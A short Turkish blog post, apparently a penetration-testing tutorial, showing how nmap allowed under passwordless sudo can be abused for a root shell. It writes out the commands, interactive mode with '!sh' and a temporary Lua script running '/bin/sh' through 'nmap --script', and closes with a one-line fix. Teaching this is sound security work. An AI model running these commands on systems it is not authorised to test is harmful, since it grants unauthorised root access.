top of page

Nmap Privilege Escalation

  • Writer: İbrahim Mert COŞKUN
    İbrahim Mert COŞKUN
  • Jan 24, 2022
  • 1 min read

Updated: Jul 21, 2022

Sızma testlerinde hedef makinada nmap var ise "Hak Yükseltme (Privilege Escalation)" işlemi için nmap'i kullanabiliriz. Yanlış yapılandırılmış SUID ile nmap sayesinde hak yükseltebiliriz. Root komutlarını yürütmek için nmap ile etkileşimli bir mod kullanılabilir.


İlk adım olarak; “NOPASSWD” ile Mevcut kullanıcının hangi sudo iznine sahip olduğunu kontrol etmeliyiz;


ree

İkinci satırda nmap'in olduğunu görüyoruz. O zaman nmap --interactive diyerek nmap interaktif moda geçelim;


ree

Nmap “sudo” ayrıcalıkları ile çalıştırılmıştır. Şimdi nmap'de shel düşmek için;

!bash veya !sh


komutlarını çalıştırdıktan sonra root yetkileri ile çalışacağız;


ree


Exploit - 2


Eğer --interactive seçeneği aktif değilse farklı olarak şu payload kullanılabilir;

  • sudo -l

  • sudo -u root nmap –interactive

ree

İstediğimiz sonucu aldıktan sonra çevresel değişkenlerle (environmental variables) ilerlemeye deneyelim;


  • TF=$(mktemp)

  • echo ‘os.execute(“/bin/sh”)’ > $TF

  • sudo nmap –script=$TF

ree

Root olduk...


Bu soruna çözüm olarak; bir kullanıcının sudo (NOPASSWD) kullanarak erişebileceği komutları sınırlayabilirsiniz.



ree
Fotoğraf; "GWENT: The Witcher Card Game" adlı oyunun "Ard Feainn Tortoise" isimli çizimi.


Kaynakça;

https://w0lfram1te.com/privilege-escalation-with-nmap

Comments


Dünya üzerinde haksızlığa uğrayan, yardım bekleyen, Hak arayan onca mazlumun yanında bu sitenin haklarının pekte bir önemi yoktur. Tüm yazıları kullanabilirsiniz.

bottom of page